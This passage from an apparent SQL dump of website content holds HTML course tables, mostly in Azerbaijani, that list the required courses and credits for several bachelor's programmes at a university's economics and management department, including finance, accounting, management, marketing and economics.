width=\"186\">MGT 410</td><td width=\"325\">Təşkilati davranış</td><td width=\"87\">3</td></tr><tr><td width=\"186\">MGT 440</td><td width=\"325\">Əməliyyatların menecmenti</td><td width=\"87\">3</td></tr><tr><td width=\"186\">MGT 465</td><td width=\"325\">Ətraflı: Strateji menecement və<br>&nbsp;Biznes siyasəti</td><td width=\"87\">3</td></tr><tr><td colspan=\"2\" width=\"511\">Kreditlərin ümumi sayı</td><td width=\"87\">50</td></tr></tbody></table>&nbsp;İxtisaslar<table cellpadding=\"0\" cellspacing=\"0\" width=\"580\"><tbody><tr><td colspan=\"2\" width=\"510\">Tələb olunanlar</td><td width=\"70\">&nbsp;</td></tr><tr><td width=\"186\">FIN 410</td><td width=\"324\">Maliyyə menecmenti</td><td width=\"70\">3</td></tr><tr><td width=\"186\">FIN 420</td><td width=\"324\">İnvestisiyaların menecementi</td><td width=\"70\">3</td></tr><tr><td width=\"186\">FIN 440</td><td width=\"324\">Maliyyə bazarları və qurumları</td><td width=\"70\">3</td></tr><tr><td width=\"186\">FIN 465</td><td width=\"324\">Maliyyə risk menecementi</td><td width=\"70\">3</td></tr><tr><td width=\"186\">Seçmə fənlər</td><td width=\"324\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"70\">12</td></tr><tr><td colspan=\"2\" width=\"510\">Kreditlərin ümumi sayı</td><td width=\"70\">24</td></tr><tr><td colspan=\"2\" width=\"510\">Cəmi</td><td width=\"70\">128</td></tr></tbody></table><br>QEYD:&nbsp;Fakültə digər alternativ fənlər təklif edə bilər.Mühasibatlıq üzrə bakalvr dərəcəsi proqramıProqram Mühasibat uçotu və audit sahəsində işləmək üçün tələb olunan bilik və vərdişləri inkişaf etdirir.&nbsp; Bu proqram maliyyə audit, əməliyyatın yoxlanılması, maliyyə hesabatları, korporativ vergi planlaşdırılması, xərclərin təhlili və nəzarəti kimi sahələri əhatə edir.<br><table cellpadding=\"0\" cellspacing=\"0\" width=\"568\"><tbody><tr><td width=\"177\">Kod</td><td width=\"309\">Fənlər</td><td width=\"82\">Kreditlər</td></tr><tr><td width=\"177\">Biznesin mahiyyəti</td><td width=\"309\">&nbsp;</td><td width=\"82\">&nbsp;</td></tr><tr><td width=\"177\">BSA 101</td><td width=\"309\">Biznesə giriş</td><td width=\"82\">3</td></tr><tr><td width=\"177\">ECON 201</td><td width=\"309\">Mikroiqtisadiyyatın əsasları</td><td width=\"82\">4</td></tr><tr><td width=\"177\">ACC 210</td><td width=\"309\">Mühasibat uçotunun əsasları</td><td width=\"82\">3</td></tr><tr><td width=\"177\">ACC 310</td><td width=\"309\">Maliyyə mühasibat uçotu</td><td width=\"82\">3</td></tr><tr><td width=\"177\">BSA 210</td><td width=\"309\">Kompüterlərin biznesə tətbiqi</td><td width=\"82\">3</td></tr><tr><td width=\"177\">MATH 225</td><td width=\"309\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"82\">3</td></tr><tr><td width=\"177\">BSA 250</td><td width=\"309\">Biznes statistikası</td><td width=\"82\">4</td></tr><tr><td width=\"177\">MKT 301</td><td width=\"309\">Marketinqin əsasları</td><td width=\"82\">3</td></tr><tr><td width=\"177\">LAW 305</td><td width=\"309\">Biznes hüququ</td><td width=\"82\">3</td></tr><tr><td width=\"177\">FIN 310</td><td width=\"309\">Maliyyə menecementinin əsasları</td><td width=\"82\">3</td></tr><tr><td width=\"177\">MGT 310</td><td width=\"309\">Menecement</td><td width=\"82\">3</td></tr><tr><td width=\"177\">ECON 390</td><td width=\"309\">Dünya iqtisadiyyatı</td><td width=\"82\">3</td></tr><tr><td width=\"177\">IB 410</td><td width=\"309\">Beynəlxalq biznes</td><td width=\"82\">3</td></tr><tr><td width=\"177\">MGT 410</td><td width=\"309\">Təşkilati davranış</td><td width=\"82\">3</td></tr><tr><td width=\"177\">MGT 440</td><td width=\"309\">Əməliyyatların menecementi</td><td width=\"82\">3</td></tr><tr><td width=\"177\">MGT 465</td><td width=\"309\">Ətraflı: Strateji menecement və<br>Biznes siyasəti</td><td width=\"82\">3</td></tr><tr><td colspan=\"2\" width=\"486\">Kreditlərin ümumi sayı</td><td width=\"82\">50</td></tr></tbody></table>&nbsp;İxtisaslar<table cellpadding=\"0\" cellspacing=\"0\" width=\"586\"><tbody><tr><td colspan=\"2\" width=\"515\">Tələb olunanlar</td><td width=\"71\">&nbsp;</td></tr><tr><td width=\"188\">ACC 420</td><td width=\"328\">Maliyyə hesabatları</td><td width=\"71\">3</td></tr><tr><td width=\"188\">ACC 410</td><td width=\"328\">İdarəetmə mühasibat uçotu</td><td width=\"71\">3</td></tr><tr><td width=\"188\">ACC 450</td><td width=\"328\">Audit</td><td width=\"71\">3</td></tr><tr><td width=\"188\">ACC 490</td><td width=\"328\">Vergiqoyma</td><td width=\"71\">3</td></tr><tr><td width=\"188\">Seçmə fənlər</td><td width=\"328\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"71\">12</td></tr><tr><td colspan=\"2\" width=\"515\">Kreditlərin ümumi sayı</td><td width=\"71\">24</td></tr><tr><td width=\"188\">Cəmi</td><td width=\"328\">&nbsp;</td><td width=\"71\">128</td></tr></tbody></table><br>QEYD:&nbsp;Fakültə digər alternativ fənlər təklif edə bilər.Menecment üzrə bakalvr dərəcəsi proqramıProqram biznes və digər sahələrdə işləyən menecerlərə lazım olan bilik və vərdişləri aşılayır. Bu proqram istehsalat prosesində &nbsp;və təşkilatların xidmətində yaranan&nbsp; inzibati və təşkilati problemləri təhlil və həll edə bilmək qabiliyyətini inkişaf etdirir.<br><table cellpadding=\"0\" cellspacing=\"0\" width=\"611\"><tbody><tr><td width=\"190\">Kod</td><td width=\"332\">Fənlər</td><td width=\"89\">Kreditlər</td></tr><tr><td width=\"190\">Biznesin mahiyyəti</td><td width=\"332\">&nbsp;</td><td width=\"89\">&nbsp;</td></tr><tr><td width=\"190\">BSA 101</td><td width=\"332\">Biznesə giriş</td><td width=\"89\">3</td></tr><tr><td width=\"190\">ECON 201</td><td width=\"332\">Mikroiqtisadiyyatın əsasları</td><td width=\"89\">4</td></tr><tr><td width=\"190\">ACC 210</td><td width=\"332\">Mühasibat uçotunun əsasları</td><td width=\"89\">3</td></tr><tr><td width=\"190\">ACC 310</td><td width=\"332\">Maliyyə mühasibat uçotu</td><td width=\"89\">3</td></tr><tr><td width=\"190\">BSA 210</td><td width=\"332\">Kompüterlərin biznesə tətbiqi</td><td width=\"89\">3</td></tr><tr><td width=\"190\">MATH 225</td><td width=\"332\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"89\">3</td></tr><tr><td width=\"190\">BSA 250</td><td width=\"332\">Biznes statistikası</td><td width=\"89\">4</td></tr><tr><td width=\"190\">MKT 301</td><td width=\"332\">Marketinqin əsasları</td><td width=\"89\">3</td></tr><tr><td width=\"190\">LAW 305</td><td width=\"332\">Biznes hüququ</td><td width=\"89\">3</td></tr><tr><td width=\"190\">FIN 310</td><td width=\"332\">Maliyyə menecementi</td><td width=\"89\">3</td></tr><tr><td width=\"190\">MGT 310</td><td width=\"332\">Menecement</td><td width=\"89\">3</td></tr><tr><td width=\"190\">ECON 390</td><td width=\"332\">Dünya iqtisadiyyatı</td><td width=\"89\">3</td></tr><tr><td width=\"190\">IB 410</td><td width=\"332\">Beynəlxalq biznes</td><td width=\"89\">3</td></tr><tr><td width=\"190\">MGT 410</td><td width=\"332\">Təşkilati davranış</td><td width=\"89\">3</td></tr><tr><td width=\"190\">MGT 440</td><td width=\"332\">Əməliyyatların menecementi</td><td width=\"89\">3</td></tr><tr><td width=\"190\">MGT 465</td><td width=\"332\">Ətraflı: Strateji menecement və<br>Biznes siyasəti</td><td width=\"89\">3</td></tr><tr><td colspan=\"2\" width=\"523\">Kreditlərin ümumi sayı</td><td width=\"89\">50</td></tr></tbody></table>&nbsp;İxtisaslar<table cellpadding=\"0\" cellspacing=\"0\" width=\"602\"><tbody><tr><td colspan=\"2\" width=\"529\">Tələb olunanlar</td><td width=\"73\">&nbsp;</td></tr><tr><td width=\"193\">MGT 420</td><td width=\"337\">İdarəetmə ünsiyyəti</td><td width=\"73\">3</td></tr><tr><td width=\"193\">MGT 450</td><td width=\"337\">İnsan qaynaqlarının menecmenti</td><td width=\"73\">3</td></tr><tr><td width=\"193\">MGT 455</td><td width=\"337\">Sahibkarlıq və innovasıya menecmenti</td><td width=\"73\">3</td></tr><tr><td width=\"193\">MGT 480</td><td width=\"337\">Liderliyin prinsipləri və tətbiqi</td><td width=\"73\">3</td></tr><tr><td width=\"193\">Seçmə fənlər</td><td width=\"337\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"73\">12</td></tr><tr><td colspan=\"2\" width=\"529\">Kreditlərin ümumi sayı</td><td width=\"73\">24</td></tr><tr><td width=\"193\">Ümumilikdə</td><td width=\"337\">&nbsp;</td><td width=\"73\">128</td></tr></tbody></table>QEYD:&nbsp;Fakültə digər alternativ fənlər təklif edə bilər.Biznes idarəçiliyi üzrə bakalavr dərəcəsi proqramı (ümumi)Ümumi biznesin idarəolunması &nbsp;proqramı biznes və digər təşkilatların generalist rəhbərləri tərəfindən tələb olunan əsas bacarıqları inkişaf etdirmək üçün nəzərdə tutulmuşdur. Bu proqram iş fəaliyyətində yaranan&nbsp; inzibati və təşkilati problemləri təhlil və həll edə bilmək qabiliyyətini inkişaf etdirir.<br><br><table cellpadding=\"0\" cellspacing=\"0\" width=\"565\"><tbody><tr><td width=\"176\">Kod</td><td width=\"307\">Fənlər</td><td width=\"82\">Kreditlər</td></tr><tr><td width=\"176\">Biznesin mahiyyəti</td><td width=\"307\">&nbsp;</td><td width=\"82\">&nbsp;</td></tr><tr><td width=\"176\">BSA 101</td><td width=\"307\">Biznesə giriş</td><td width=\"82\">3</td></tr><tr><td width=\"176\">ECON 201</td><td width=\"307\">Mikroiqtisadiyyatın əsasları</td><td width=\"82\">4</td></tr><tr><td width=\"176\">ACC 210</td><td width=\"307\">Mühasibat uçotunun əsasları</td><td width=\"82\">3</td></tr><tr><td width=\"176\">ACC 310</td><td width=\"307\">Maliyyə mühasibat uçotu</td><td width=\"82\">3</td></tr><tr><td width=\"176\">BSA 210</td><td width=\"307\">Kompüterlərin biznesə tətbiqi</td><td width=\"82\">3</td></tr><tr><td width=\"176\">MATH 225</td><td width=\"307\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"82\">3</td></tr><tr><td width=\"176\">BSA 250</td><td width=\"307\">Biznes statistikası</td><td width=\"82\">4</td></tr><tr><td width=\"176\">MKT 301</td><td width=\"307\">Marketinqin əsasları</td><td width=\"82\">3</td></tr><tr><td width=\"176\">LAW 305</td><td width=\"307\">Biznes hüququ</td><td width=\"82\">3</td></tr><tr><td width=\"176\">FIN 310</td><td width=\"307\">Maliyyə menecmenti</td><td width=\"82\">3</td></tr><tr><td width=\"176\">MGT 310</td><td width=\"307\">Menecment</td><td width=\"82\">3</td></tr><tr><td width=\"176\">ECON 390</td><td width=\"307\">Dünya iqtisadiyyatı</td><td width=\"82\">3</td></tr><tr><td width=\"176\">IB 410</td><td width=\"307\">Beynəlxalq biznes</td><td width=\"82\">3</td></tr><tr><td width=\"176\">MGT 410</td><td width=\"307\">Təşkilati davranış</td><td width=\"82\">3</td></tr><tr><td width=\"176\">MGT 440</td><td width=\"307\">Əməliyyatların menecmenti</td><td width=\"82\">3</td></tr><tr><td width=\"176\">MGT 465</td><td width=\"307\">Ətraflı: Strateji menecment və<br>Biznes siyasəti</td><td width=\"82\">3</td></tr><tr><td colspan=\"2\" width=\"483\">Kreditlərin ümumi sayı</td><td width=\"82\">50</td></tr></tbody></table>&nbsp;İxtisaslar<table cellpadding=\"0\" cellspacing=\"0\" width=\"568\"><tbody><tr><td colspan=\"2\" width=\"499\">Tələb olunanlar</td><td width=\"69\">&nbsp;</td></tr><tr><td width=\"182\">MGT 425</td><td width=\"318\">Biznes və peşəkar ünsiyyət</td><td width=\"69\">3</td></tr><tr><td width=\"182\">MGT 450</td><td width=\"318\">İnsan qaynaqlarının idarə olunması</td><td width=\"69\">3</td></tr><tr><td width=\"182\">MGT 445</td><td width=\"318\">Biznesin modelləşdirilməsi və resursların bölüşdürülməsi</td><td width=\"69\">3</td></tr><tr><td width=\"182\">MGT 460</td><td width=\"318\">Biznes etikası və sosial məsuliyyət</td><td width=\"69\">3</td></tr><tr><td width=\"182\">Seçmə fənlər</td><td width=\"318\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"69\">12</td></tr><tr><td colspan=\"2\" width=\"499\">Kreditlərin ümumi sayı</td><td width=\"69\">24</td></tr><tr><td width=\"182\">Ümumilikdə</td><td width=\"318\">&nbsp;</td><td width=\"69\">128</td></tr></tbody></table>QEYD:&nbsp;Fakültə digər alternativ fənlər təklif edə bilər.&nbsp;Beynəlxalq Biznes üzrə bakalavr dərəcəsi proqramıBeynəlxalq Biznes Proqramı əsasən&nbsp;qlobal biznes mühitində &nbsp;özlərini menecer kimi tanıtmaq istəyən tələbələr üçün nəzərdə tutulmuşdur. Bu proqram tələbələri qlobal mühitdə lider və menecer rolunu müvəffəqiyyətlə yerinə yetirmək üçün peşəkar və mədəni biliklə təmin edir.<br><br><table cellpadding=\"0\" cellspacing=\"0\" width=\"595\"><tbody><tr><td width=\"185\">Kod</td><td width=\"324\">Fənlər</td><td width=\"86\">Kreditlər</td></tr><tr><td width=\"185\">Biznesin mahiyyəti</td><td width=\"324\">&nbsp;</td><td width=\"86\">&nbsp;</td></tr><tr><td width=\"185\">BSA 101</td><td width=\"324\">Biznes fənninə giriş</td><td width=\"86\">3</td></tr><tr><td width=\"185\">ECON 201</td><td width=\"324\">Mikroiqtisadiyyatın əsasları</td><td width=\"86\">4</td></tr><tr><td width=\"185\">ACC 210</td><td width=\"324\">Mühasibat uçotunun əsasları</td><td width=\"86\">3</td></tr><tr><td width=\"185\">ACC 310</td><td width=\"324\">Maliyyə mühasibat uçotu</td><td width=\"86\">3</td></tr><tr><td width=\"185\">BSA 210</td><td width=\"324\">Kompüterin biznesə tətbiqi</td><td width=\"86\">3</td></tr><tr><td width=\"185\">MATH 225</td><td width=\"324\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"86\">3</td></tr><tr><td width=\"185\">BSA 250</td><td width=\"324\">Biznes statistikası</td><td width=\"86\">4</td></tr><tr><td width=\"185\">MKT 301</td><td width=\"324\">Marketinqin əsasları</td><td width=\"86\">3</td></tr><tr><td width=\"185\">LAW 305</td><td width=\"324\">Biznes hüququ</td><td width=\"86\">3</td></tr><tr><td width=\"185\">FIN 310</td><td width=\"324\">Maliyyə menecmentinin əsasları</td><td width=\"86\">3</td></tr><tr><td width=\"185\">MGT 310</td><td width=\"324\">Menecment və təşkilatçılıq</td><td width=\"86\">3</td></tr><tr><td width=\"185\">ECON 390</td><td width=\"324\">Dünya iqtisadiyyatı</td><td width=\"86\">3</td></tr><tr><td width=\"185\">IB 410</td><td width=\"324\">Beynəlxalq biznes</td><td width=\"86\">3</td></tr><tr><td width=\"185\">MGT 410</td><td width=\"324\">Təşkilati davranış</td><td width=\"86\">3</td></tr><tr><td width=\"185\">MGT 440</td><td width=\"324\">İstehsalın və əməliyyatların menecmenti</td><td width=\"86\">3</td></tr><tr><td width=\"185\">MGT 465</td><td width=\"324\">Ətraflı: Strateji menecment və<br>Biznes siyasəti</td><td width=\"86\">3</td></tr><tr><td colspan=\"2\" width=\"509\">Kreditlərin ümumi sayı</td><td width=\"86\">50</td></tr></tbody></table>&nbsp;İxtisaslar<table cellpadding=\"0\" cellspacing=\"0\" width=\"582\"><tbody><tr><td colspan=\"2\" width=\"91%\">Tələb olunanlar</td><td width=\"8%\">&nbsp;</td></tr><tr><td width=\"32%\">MKT 420</td><td width=\"59%\">Beynəlxalq marketinq</td><td width=\"8%\">3</td></tr><tr><td width=\"32%\">FIN 470</td><td width=\"59%\">Beynəlxalq maliyyə</td><td width=\"8%\">3</td></tr><tr><td width=\"32%\">IB 440</td><td width=\"59%\">Beynəlxalq ticarət</td><td width=\"8%\">3</td></tr><tr><td width=\"32%\">MGT 470</td><td width=\"59%\">Beynəlxalq menecment</td><td width=\"8%\">3</td></tr><tr><td width=\"32%\">Seçmə fənlər</td><td width=\"59%\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"8%\">12</td></tr><tr><td colspan=\"2\" width=\"91%\">Kreditlərin ümumi sayı</td><td width=\"8%\">24</td></tr><tr><td width=\"32%\">Cəmi</td><td width=\"59%\">&nbsp;</td><td width=\"8%\">128</td></tr></tbody></table>QEYD:&nbsp;Fakültə digər alternativ fənlər təklif edə bilər.Marketinq üzrə bakalavr dərəcəsi proqramıMarketinq proqramı ümumi marketinq, bazar və istehlakçıların əlaqələri, məhsulun inkişafı, qiymətləndirmə, reklam, həvəsləndirməvə bolgü kimi əsas biliklərin təmin olunması üçün nəzərdə tutulmuşdur.<br><br><table cellpadding=\"0\" cellspacing=\"0\" width=\"584\"><tbody><tr><td width=\"182\">Kod</td><td width=\"318\">Fənlər</td><td width=\"85\">Kreditlər</td></tr><tr><td width=\"182\">Biznesin mahiyyəti</td><td width=\"318\">&nbsp;</td><td width=\"85\">&nbsp;</td></tr><tr><td width=\"182\">BSA 101</td><td width=\"318\">Biznes fənninə giriş</td><td width=\"85\">3</td></tr><tr><td width=\"182\">ECON 201</td><td width=\"318\">Mikroiqtisadiyyatın əsasları</td><td width=\"85\">4</td></tr><tr><td width=\"182\">ACC 210</td><td width=\"318\">Mühasibat uçotunun əsasları</td><td width=\"85\">3</td></tr><tr><td width=\"182\">ACC 310</td><td width=\"318\">Maliyyə mühasibat uçotu</td><td width=\"85\">3</td></tr><tr><td width=\"182\">BSA 210</td><td width=\"318\">Kompüterin biznesə tətbiqi</td><td width=\"85\">3</td></tr><tr><td width=\"182\">MATH 225</td><td width=\"318\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"85\">3</td></tr><tr><td width=\"182\">BSA 250</td><td width=\"318\">Biznes statistikası</td><td width=\"85\">4</td></tr><tr><td width=\"182\">MKT 301</td><td width=\"318\">Marketinqin əsasları</td><td width=\"85\">3</td></tr><tr><td width=\"182\">LAW 305</td><td width=\"318\">Biznes hüququ</td><td width=\"85\">3</td></tr><tr><td width=\"182\">FIN 310</td><td width=\"318\">Maliyyə menecmentinin əsasları</td><td width=\"85\">3</td></tr><tr><td width=\"182\">MGT 310</td><td width=\"318\">Menecment və təşkilatçılıq</td><td width=\"85\">3</td></tr><tr><td width=\"182\">ECON 390</td><td width=\"318\">Dünya iqtisadiyyatı</td><td width=\"85\">3</td></tr><tr><td width=\"182\">IB 410</td><td width=\"318\">Beynəlxalq biznes</td><td width=\"85\">3</td></tr><tr><td width=\"182\">MGT 410</td><td width=\"318\">Təşkilati davranış</td><td width=\"85\">3</td></tr><tr><td width=\"182\">MGT 440</td><td width=\"318\">İstehsalın və əməliyyatların menecmenti</td><td width=\"85\">3</td></tr><tr><td width=\"182\">MGT 465</td><td width=\"318\">Ətraflı: Strateji menecment və<br>Biznes siyasəti</td><td width=\"85\">3</td></tr><tr><td colspan=\"2\" width=\"500\">Kreditlərin ümumi sayı</td><td width=\"85\">50</td></tr></tbody></table>&nbsp;İxtisaslar<table cellpadding=\"0\" cellspacing=\"0\" width=\"568\"><tbody><tr><td colspan=\"2\" width=\"499\">Tələb olunanlar</td><td width=\"69\">&nbsp;</td></tr><tr><td width=\"182\">MKT 420</td><td width=\"318\">Beynəlxalq marketinq</td><td width=\"69\">3</td></tr><tr><td width=\"182\">MKT 430</td><td width=\"318\">İstehlakçıların davranışı</td><td width=\"69\">3</td></tr><tr><td width=\"182\">MKT 450</td><td width=\"318\">Marketinq araşdırmaları</td><td width=\"69\">3</td></tr><tr><td width=\"182\">MKT 460</td><td width=\"318\">Marketinqin menecmenti</td><td width=\"69\">3</td></tr><tr><td width=\"182\">Seçmə fənlər</td><td width=\"318\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"69\">12</td></tr><tr><td colspan=\"2\" width=\"499\">Kreditlərin ümumi sayı</td><td width=\"69\">24</td></tr><tr><td width=\"182\">Cəmi</td><td width=\"318\">&nbsp;</td><td width=\"69\">128</td></tr></tbody></table>QEYD:&nbsp;Fakültə digər alternativ fənlər təklif edə bilər.İqtisadiyyat üzrə bakalavr dərəcəsi proqramıİqtisadiyyat üzrə&nbsp; bu proqram əsasən tətbiqi iqtisadiyyat sahəsində fərqlənmək istəyən tələbələr üçün nəzərdə tutulmuşdur. Bu proqram özəl və dövlət sektorunda &nbsp;biznes iqtisadiyyatının rolunu uğurla yerinə yetirmək üçün&nbsp; tələbələri lazımi peşəkar biliklə təmin edir. Proqram iqtisadiyyatın kəmiyyətcə&nbsp; təhlili, pul siyasəti, iqtisadi göstəricilər və qloballaşma ilə bağlı fəaliyyətləri əhatə edir.<br><br><table cellpadding=\"0\" cellspacing=\"0\" width=\"543\"><tbody><tr><td width=\"118\">Kod</td><td width=\"315\">Dərslər</td><td width=\"110\">Kreditlər</td></tr><tr><td width=\"118\">Mahiyyət</td><td width=\"315\">&nbsp;</td><td width=\"110\">&nbsp;</td></tr><tr><td width=\"118\">ECON 101</td><td width=\"315\">İqtisadiyyata giriş</td><td width=\"110\">4</td></tr><tr><td width=\"118\">ACC 210</td><td width=\"315\">Mühasibatlığın əsaları</td><td width=\"110\">3</td></tr><tr><td width=\"118\">BSA 205</td><td width=\"315\">Kompüterlərin iqtisadiyyat və biznesdə tətbiqi</td><td width=\"110\">3</td></tr><tr><td width=\"118\">BSA 215</td><td width=\"315\">İqtisadiyyat və Biznes statistikası</td><td width=\"110\">4</td></tr><tr><td width=\"118\">MATH 225</td><td width=\"315\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"110\">3</td></tr><tr><td width=\"118\">FIN 310</td><td width=\"315\">Maliyyə menecmentinin əsasları</td><td width=\"110\">3</td></tr><tr><td width=\"118\">MGT 310</td><td width=\"315\">Menecement və təşkilatçılıq</td><td width=\"110\">3</td></tr><tr><td width=\"118\">FIN 350</td><td width=\"315\">Pul, bank işi və maliyyə bazarları</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 430</td><td width=\"315\">İnnovasiya və sahibkarlıq iqtisadiyyatı</td><td width=\"110\">3</td></tr><tr><td width=\"118\">IB 410</td><td width=\"315\">Beynəlxalq biznes</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 310</td><td width=\"315\">Mikroiqtisadiyyat</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 315</td><td width=\"315\">Makroiqtisadiyyat</td><td width=\"110\">3</td></tr><tr><td width=\"118\">FIN 415</td><td width=\"315\">Dövlət maliyyəsi</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 450</td><td width=\"315\">Ekonometrika</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 445</td><td width=\"315\">Menecment iqtisadiyyatı</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 420</td><td width=\"315\">Regional iqtisadiyyat</td><td width=\"110\">3</td></tr><tr><td colspan=\"2\" width=\"433\">Kreditlərin ümumi sayı</td><td width=\"110\">50</td></tr><tr><td colspan=\"2\" width=\"433\">İxtisaslar</td><td width=\"110\">&nbsp;</td></tr><tr><td colspan=\"2\" width=\"433\">Tələb olunanlar</td><td width=\"110\">&nbsp;</td></tr><tr><td width=\"118\">ECON&nbsp; 460</td><td width=\"315\">Dövlət xərcləri, vergilər və dövlət siyasəti</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 425</td><td width=\"315\">Ətraf mühit iqtisadiyyatı və siyasəti</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 470</td><td width=\"315\">İnkişafın iqtisadiyyatı</td><td width=\"110\">3</td></tr><tr><td width=\"118\">ECON 480</td><td width=\"315\">Beynəlxalq iqtisadiyyat</td><td width=\"110\">3</td></tr><tr><td width=\"118\">&nbsp;</td><td width=\"315\">&nbsp;</td><td width=\"110\">&nbsp;</td></tr><tr><td width=\"118\">Seçmə fənlər</td><td width=\"315\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"110\">12</td></tr><tr><td colspan=\"2\" width=\"433\">Kreditlərin ümumi sayı</td><td width=\"110\">24</td></tr><tr><td width=\"118\">Cəmi</td><td width=\"315\">&nbsp;</td><td width=\"110\">128</td></tr></tbody></table>QEYD:&nbsp;Fakültə digər alternativ fənlər təklif edə bilər.Beynəlxalq İqtisaiyyat üzrə bakalavr dərəcəsi proqramıİqtisadiyyat və Menecment fakültəsinin bu proqramı iqtisadiyyatın kəmiyyətcə&nbsp; təhlili, pul siyasəti, iqtisadi göstəricilər, qloballaşma və beynəlxalq iqtisadi münasibətlər ilə bağlı fəaliyyətləri əhatə edir.<br><br><table cellpadding=\"0\" cellspacing=\"0\" width=\"594\"><tbody><tr><td width=\"190\">Mahiyyət</td><td width=\"332\">&nbsp;</td><td width=\"72\">&nbsp;</td></tr><tr><td width=\"190\">ECON 101</td><td width=\"332\">İqtisadiyyata giriş</td><td width=\"72\">4</td></tr><tr><td width=\"190\">ACC 210</td><td width=\"332\">Mühasibatlığın əsasları</td><td width=\"72\">3</td></tr><tr><td width=\"190\">BSA 205</td><td width=\"332\">Kompüterlərin&nbsp;İqtisadiyyat və Biznesdə tətbiqi</td><td width=\"72\">3</td></tr><tr><td width=\"190\">BSA 215</td><td width=\"332\">İqtisadiyyat və Biznes statistikası</td><td width=\"72\">4</td></tr><tr><td width=\"190\">MATH 225</td><td width=\"332\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"72\">3</td></tr><tr><td width=\"190\">FIN 310</td><td width=\"332\">Maliyyə menecmentinin əsasları</td><td width=\"72\">3</td></tr><tr><td width=\"190\">MGT 310</td><td width=\"332\">Menecment və təşkilatçılıq</td><td width=\"72\">3</td></tr><tr><td width=\"190\">FIN 350</td><td width=\"332\">Pul, Bank işi və Maliyyə bazarları</td><td width=\"72\">3</td></tr><tr><td width=\"190\">Law 335</td><td width=\"332\">Beynəlxalq biznes hüququ</td><td width=\"72\">3</td></tr><tr><td width=\"190\">IB 410</td><td width=\"332\">Beynəlxalq biznes</td><td width=\"72\">3</td></tr><tr><td width=\"190\">ECON 310</td><td width=\"332\">Mikroiqtisadiyyat</td><td width=\"72\">3</td></tr><tr><td width=\"190\">ECON 315</td><td width=\"332\">Makroiqtisadiyyat</td><td width=\"72\">3</td></tr><tr><td width=\"190\">FIN 415</td><td width=\"332\">Dövlət maliyyəsi</td><td width=\"72\">3</td></tr><tr><td width=\"190\">ECON 450</td><td width=\"332\">Ekonometrika</td><td width=\"72\">3</td></tr><tr><td width=\"190\">ECON 445</td><td width=\"332\">Menecment iqtisadiyyatı</td><td width=\"72\">3</td></tr><tr><td width=\"190\">MGT 465</td><td width=\"332\">Strateji menecment</td><td width=\"72\">3</td></tr></tbody></table>&nbsp;İxtisaslar<table cellpadding=\"0\" cellspacing=\"0\" width=\"494\"><tbody><tr><td colspan=\"2\" width=\"434\">Tələb olunanlar</td><td width=\"60\">&nbsp;</td></tr><tr><td width=\"158\">ECON&nbsp; 460</td><td width=\"276\">Dövlət xərcləri, vergilər və dövlət siyasəti</td><td width=\"60\">3</td></tr><tr><td width=\"158\">ECON 425</td><td width=\"276\">Ətraf mühit iqtisadiyyatı və siyasəti</td><td width=\"60\">3</td></tr><tr><td width=\"158\">ECON 470</td><td width=\"276\">İnkişaf iqtisadiyyatı</td><td width=\"60\">3</td></tr><tr><td width=\"158\">ECON 480</td><td width=\"276\">Beynəlxalq iqtisadiyyat</td><td width=\"60\">3</td></tr><tr><td width=\"158\">&nbsp;</td><td width=\"276\">&nbsp;</td><td width=\"60\">&nbsp;</td></tr><tr><td width=\"158\">Seçmə fənlər</td><td width=\"276\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"60\">12</td></tr><tr><td colspan=\"2\" width=\"434\">Kreditlərin ümumi sayı</td><td width=\"60\">24</td></tr><tr><td width=\"158\">Cəmi</td><td width=\"276\">&nbsp;</td><td width=\"60\">128</td></tr></tbody></table><br><br>QEYD:&nbsp;Fakültə digər alternativ fənlər təklif edə bilər.'),(572,373,'en','Undergraduate Programs','Undergraduate Programs','<div><br></div><div><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The DEM offers the\r\nBachelor Degree Programs majoring in Finance, Accounting, Business\r\nAdministration, Management, Marketing, and Economics. The requirements for the\r\nBachelors degree at the DEM are composed of three main components that total\r\n256 ECTS:</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:15.0pt;text-indent:-.25in;line-height:normal;background:white\";margin-bottom:auto\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUniversity\r\nRequirements&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:15.0pt;text-indent:-.25in;line-height:normal;background:white\";margin-bottom:auto\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGeneral Education\r\nRequirements&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:15.0pt;text-indent:-.25in;line-height:normal;background:white\";margin-bottom:auto\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBusiness Foundation\r\nand Major Requirements</p>\r\n<p style=\"\" 